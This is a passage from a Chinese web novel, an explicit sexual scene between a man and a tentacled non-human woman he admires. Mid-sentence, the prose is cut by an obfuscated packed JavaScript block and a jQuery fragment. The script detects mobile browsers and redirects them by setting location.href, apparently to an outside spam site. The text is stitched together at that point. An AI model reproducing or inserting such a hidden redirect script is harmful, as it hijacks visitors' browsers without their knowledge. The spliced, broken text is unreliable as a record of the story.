五指进入发间,压着柔软带香气的发,托着祭木后脑,钟长君将她压在毯上。
秀发铺在地毯上,他小心拢着没有压到,唇舌之间是草莓的酸,奶油的甜,他尝到了夏天的味道,是夏天的蝴蝶扇着酸甜的风,将他软化。
呼吸声越来越重,他的理智在断与紧绷之间来回摩擦。
爆裂的雷声响在耳边,疯狂的记忆忽然冒出,他恢复最后的理智紧急离开这场亲吻。
可银丝粘连在双唇间,盯着眼前人微微粉红的脸,他又无法彻底分离。
“祭木老师......我......我还是......还是......”
痛苦又快乐的字眼卡在喉间,一起拍照,一起吃蛋糕,一起看夕阳,她自然挽着他的手臂,温和得像真正的情侣,可发怒狂躁的疼痛穿插在这些画面中,让他脱不了身。
埋首于颈,他还是脱不了身。
就像飞蛾总是会被危险的光亮吸引,小鱼只有在一方水中才能生存,他的人生一直如此,在痛中沦陷,在沦陷中寻找快乐。
起起伏伏。
“就这一次,就一次好不好?对我温柔一点,求你了,你要是不想我会马上离开,我发誓,我......我真的......”
真的喜欢你,崇拜你,可说不出口。
又开始窝囊地哽咽,他不想在祭木面前表现得这么差劲,可他就是一直这么差劲。
背上轻轻搭了手,祭木清清凉凉的声音拂过耳朵:“好。”
身体猛然一僵,他不敢相信自己的耳朵。
“只是,我的身体受到刺激时可能无法维持人形,请你多担待。”
撑起身体,他看着笑意温和的人,过往每一个日夜埋在被子里偷看漫画的画面浮现在脑中,像个阴暗男偷偷抚摸她签名的痴迷也像无数藤蔓缠得他无法呼吸。
沦陷,飞蛾也好,小鱼也好,就让他再沦陷一回,就一回。
触碰高贵的双唇,他是个虔诚的仆人,用自己的情意滋养、供奉着高贵祭木。
身体的一切的反应都是如此真实又原始,渴望着温柔地回应,他的呼吸越来越重,意识的中心燃起了熊熊渴望,令他无法自拔。
不够,根本不够,吻着唇,吻着眼,吻着颈,他甘愿献上自己的一切。
檀柏没有承受过这样满的情绪,她能感受到,钟长君像一团膨胀的气体,一汪沸腾的池水,将她紧紧包围,若是此时丢入一颗冰块,他兴许会冒起白烟。
可她并未感受到窒息,她只觉得新奇,是对浓烈的憎恨之外的情绪的好奇。
她搂着他,主动着,敞开自己吸纳他的热烈。
汩汩细流淌过血液,身躯如沙滩,每一个吻痕都温温浅浅却依旧留下了痕迹,昭示着有人来过。
她叹息了一声。
这一声叹息激得他情不自禁,直接软了身体,气体出多进少,缺氧导致大脑麻痹,他快化了。
是满足,还是得偿所愿,自卑惯了的人骤然得到如此赏赐,他无法相信自己不在梦中。
然而手下传来湿滑柔软之感,睁开眼,他愣了一瞬,猛然坐起。
祭木手背拭脸,难得有种羞意:“生理上的兴奋会让我控制不住形态,抱歉。”
好奇又粗大的触手爬满了地毯,将他们包围其中,而她的每一只手都展现出了对他极大的好奇。
疯狂眨眼,疯狂呼吸,他感到自己在发颤。
“抱歉,我只能做到这样,若是你害怕,我们可以停下。”
祭木收拢长发,双手交叠,优雅的神情中有着隐约的野性。
他的害怕这么明显吗?
在她看来会很丢人吧?
后退撑着手臂,他的手边摸到了软体,呼吸一滞他又想起来那一次的暴行。
感情是暴力,是牢笼。
是吗?
不,他不愿意相信。
“不,不要,我可以......请你......请你温柔一点......”
垂下视线,绷紧唇角,他说完就感受到脸上烧了起来。
另一个精致包装过的盒子被触手送到眼前,他刚刚没有打开,此时接过但不知何意。
“打开看看,这是我按照着推荐买的,不知道好不好用。”
触手安静等在一旁,他拉开很有少女心的蝴蝶结,打开盖子,瞬间红了脸。
若他能看见,便会发现此时自己的面色已经到了一戳即破的地步。
是道具,各种颜色好看但、但、但认知上不应该用在他身上的道具。
立马盖上,他快要无法呼吸了。
“能不能、能不能关灯......”
他可能以为关灯就看不见他身上的痕迹了,可是他不知道,檀柏的视力超乎他的想象。
身躯表面有着几处不同深浅的黑影,她猜测,她在退化时还是发了狂,弄伤了他。
他为什么不说呢?
她不明白。
黑暗让小鱼心里放松,但他的身体很紧张,抓着两侧地毯的毛闭眼,呼吸急促。
他坐在地上,背靠着沙发,她的手缠在他的膝盖上,停顿。
嗒,触手扣开皮带,他似乎更紧张了,像受惊的蚌收拢起自己。
“长君,不要那么紧张。会疼。”
“......好......”
小鱼受惊躲进蚌壳,可小鱼是他,蚌壳也是他,她忽然有点好奇了。
缠住膝盖,她抱住紧张的人,轻拍。
草莓味开始蔓延在黑暗中新生,却又在即将成熟的边缘徘徊,而在经过滋养后又化为鲜艳的果实。
若是没有人去采摘和品尝,会很可惜。
“抱住我吧。”
小鱼在某些程度上有点倔,他就像等待采撷的蚌,她感受到了紧绷可他却一句也不说,就像身上那些黑影,那是她留下的罪证,可他一句也不提。
心开始摇摆,她轻声问:“这样,真的可以吗?”
她说不清是在问他还是问自己,她只是吻在小鱼的锁骨,轻叹。
肌肉的颤抖代表了内心的害怕,他不可自抑地害怕,害怕祭木和之前一样暴力,可是她这次很温柔,是温柔的祭木,是每一步都询问他感受的祭木。
这才是真的祭木吧,果然之前她那么奇怪都是有原因的,退化后没有理智也是很正常的吧。
动摇了,他就知道,自己果然动摇了。
可是贪恋本身,也无错吧。
“祭木老师......我们......这是约会吧?对吧.....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850613|155540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.像真的情侣......那样的约会......”
“是的,我们在约会。”
冰冰凉凉,他用力抱紧了祭木,而他的动作也让她停了下来。
“疼吗?”
小鱼没有回答,他摇了摇头捧起她的脸吻了下去。
檀柏回应着,温柔相吻又浅浅摩挲,像一个真正的恋人。
溪流底下静静躺着的蚌,没有拒绝和自保的能力,不断下咽的声音,上下滚动的喉部,是紧张还是兴奋?
按着他的后颈,她感受呼吸在震颤,水位上升,那天夜里她从河里打捞起他,夜风一吹,很冷,但今天不冷,今天也是她,她在河底亲手打开了蚌壳。
耳边一声闷哼,她赶紧安慰:“别怕别怕,是这样的,接纳就好了。”
安慰小鱼拥抱小鱼又好奇小鱼的反应,只是稍稍触碰就能让小鱼摇头摆尾,在河里越游越远。
软体缠上又勒紧,小鱼猛然一抖喊出了口:“祭木老师......祭木老师......”
小鱼会把她的行为当成进攻吗?
黏液被温度融化在掌心,她沿着他的后脊攀爬而上将黏液留在后背,而后托起了他的后脑。
“我在的,小鱼想说什么?”
“别走......别走......祭木老师......”
她没有走,相比于又短又细的手指,柔软灵活触手才是她真正的手。
吸盘在呼吸,在试探小鱼的底线,五指抓着沙发皮面,小鱼好像溺了水,艰难仰头寻找一丝氧气。
可小鱼会溺水吗?
他的呼吸结构注定了他无法暴露在全部的空气下,他只能依靠水中的氧气生存。
“祭木老师、祭木老师......”
她的名字好像水中的氧气,小鱼紧咬着她的名字不放。
她好像一个拯救者,被期待被需要被渴求,似乎很正面,她从未有过这样的感受。
好奇,喜欢,她想要感受更多,想要被需要更多。
吸盘张口呼吸,将蚌壳内的珍珠盘得圆润光滑,她在试图帮他寻找氧气,可下一瞬,她的名字陡然断在唇间,令人疑惑。
她靠近他的脸发觉他死死咬着自己的唇,捏开脸,问:“怎么不叫我了?”
“祭......祭木老师......”
小鱼的声音断断续续,是挣扎着寻找生机的欲望,她的耳朵有些痒。
“我在的,喊我吧。这样可以吗?”
小鱼又不回答了,曲着手臂反手抓着身后的沙发。
“祭木老师......祭木......”
“我在的。”
气音断断续续,肌肉在跳动,她抚摸他的脸在脑海中想象他的表情,应该是舒服自在的吧,可她却摸到了皱起的眉头。
“小鱼,不舒服吗?”
小鱼不回答,小鱼只是张口呼吸,拼尽全力也只能零碎地呼吸。
“回答我。”
“祭木老师、别问了......祭木老师”
触手无法钻入墨囊,但还是让他失去了吐出墨汁投降的机会。
小鱼的声音变了形,全身战栗,毛孔似乎在震动让人直接哭喊出声。
她在小鱼脸上摸到了眼泪。